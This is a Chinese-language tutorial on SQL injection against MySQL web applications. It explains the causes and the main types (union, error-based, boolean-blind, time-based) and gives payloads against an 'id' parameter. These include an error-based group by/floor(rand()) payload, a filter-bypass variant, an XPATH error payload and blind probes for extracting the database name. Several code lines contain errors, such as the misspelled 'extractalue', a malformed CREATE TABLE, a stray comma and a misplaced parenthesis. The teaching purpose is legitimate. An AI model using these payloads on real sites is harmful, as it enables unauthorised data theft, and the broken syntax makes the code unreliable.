一、sql注入基础
是一种常见的web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
二、漏洞原理
针对sql注入的攻击行为可描述为通过用户可控参数中注入sql语句,破坏原有sql结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造sql语句。
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到sql语句中。
三、分类
sql注入漏洞根据不同的标准有不同的分类。但是从数据类型来看,分为数字型和字符型
数字型注入的注入点的数据,拼接到sql语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。
字符型注入正好相反。
根据注入手法分类:
@ UNION query SQL injection(联合查询)
@ Error-based SQL injection (报错型)
@ BOOlean-based blind SQL injection (布尔盲注)
@ Time-based blind SQL injection (延时注入)
@ Stacked queries SQL injection (多语句查询 )
四、MySQL相关
@ 注释
mysql 数据库注释大概有以下几种
#
-- (杠杠空格)
/* .....*/
/*! .........*/ 内联查询
@ MySQL 元数据库information_schema,其中tables表中存储着一张表中table_name表示数据库中所有表名,table_schema表示所有库名,columns中存储的column_name表示所有字段名,table_name表示包含字段的表名,table_schema表示包含字段的库名。
@ MySQL常用函数与参数
concat(‘a’,'b','c') 不含分隔符的连接字符串
concat_ws("-",'s','b','c') 含有分隔符的连接字符串
group_concat() 连接一个组的字段
ord('a') 返回ASCII码
rand() 生成一个0-1之间的随机浮点数
五、sql注入
@ 注入点
链接中的?是否有前端与数据库传参的过程。
@ 注入点的判断
1)变换id参数
当我们变换id参数的时候,发现同一个页面,展现出不同的内容,也就是数据库中的内容会回显到网页中。
初步判定,id参数会带入数据库查询,根据不同的id查询数据库,得到不同的页面内容,擦侧后台执行的SQL语句大致为:
select * from tbname where id=33;
2) 单引号
【?id=33'】
执行的SQL主语则变为
select * from tbname where id=33';
页面会报错,并显示报错信息在网页中,根据报错信息判断是否存在报错注入,以及判断是数字型注入还是字符型注入。
3) and 1=1 页面正常
and 1=2 页面没有数据,但是没有报错,用于判断是否存在布尔注入
4)and sleep(5)
通过网络查看时间线,是否有延时,判断是否存在延时注入。
联合查询
由于数据库中的内容会回显到页面中,所以我们可以采用联合查询进行注入。
联合查询就是SQL语法中的 union select语句,该语句会执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接。
由于虚拟表是二维结构,联合查询会“纵向”拼接,两张虚拟表。
@ 必要条件
* 两张虚拟的表具有相同的列数
* 虚拟表对应的列的数据类型相同
@ 判断SQL注入的技巧
是否有回显 联合查询
是否有报错 报错注入
是否有布尔类型状态 布尔盲注
上述三者都没有 延时注入
报错注入
在注入点的判断过程中,发现数据库中sql语句的报错信息,会显示在页面中,因此可以进行报错注入。
原理:在错误信息中执行SQL语句,得到想要的信息。
@ group by 重复建冲突
?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
关于group by重复建冲突原理演示
@ 创建数据库,写入数据
create database groupbyTest;
create table r1 (a,int);
insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
@ 进行简单的查询
select * from r1;
@ 首先强行引入一个字段left(rand(),3)生成小数段后一位的随机数,由于rand()函数的存在,每次执行结果都是不同的。
select left(rand(),3),a from r1 group by 1;
@ 在此处添加count(*)函数,造成此条查询语句重复建冲突出现报错。
select left(rand(),3),a,count(*) from r1 group by 1;
@ 其他重复建冲突的语句
select round(rand(),1),a,count(*) from r1 group by 1;
select a,count(*) from r1 group by round(rand(),1);
select floor(rand()*2),a,count(*) from r1 group by 1;
@ 构造报错注入语句
select concat(left(rand(),3),'^',(select version()),'^') as x,count(*),from information_schema.tables group by x;
语句中的as是给concat(left(rand(),3),'^',(select version()),'^')起一个别名x,方便后面的聚合操做,此处as可以省略,直接写x即可,等同于group by 1。
@ 如果关键函数和关键表都被禁用了:
select min(@a:=1) from (select 1 union select null union select !1)a group by concat('^',@@version,'^',@a:=(@a+1)%2);
@ XPATH报错
1)extractalue()
?id=33 and extractalue(1,concat('^',(select version()),'^'))
2) updatexml()
布尔盲注
原理:利用页面返回的布尔类型状态,正常或者不正常。
@ 获取数据库名
1)确定数据库名长度
?id=33 and length(database())=1.2.3......
通过页面正常与否来确定数据库名字的长度。
2)确定数据库名字
?id=33 and ascii(substr(database(),1,1)=99
通过页面显示正常确定,数据库名字第一位ASCII码是99,即是字母c。
延时注入
原理:利用sleep()语句的延时性,以时间线作为判断条件。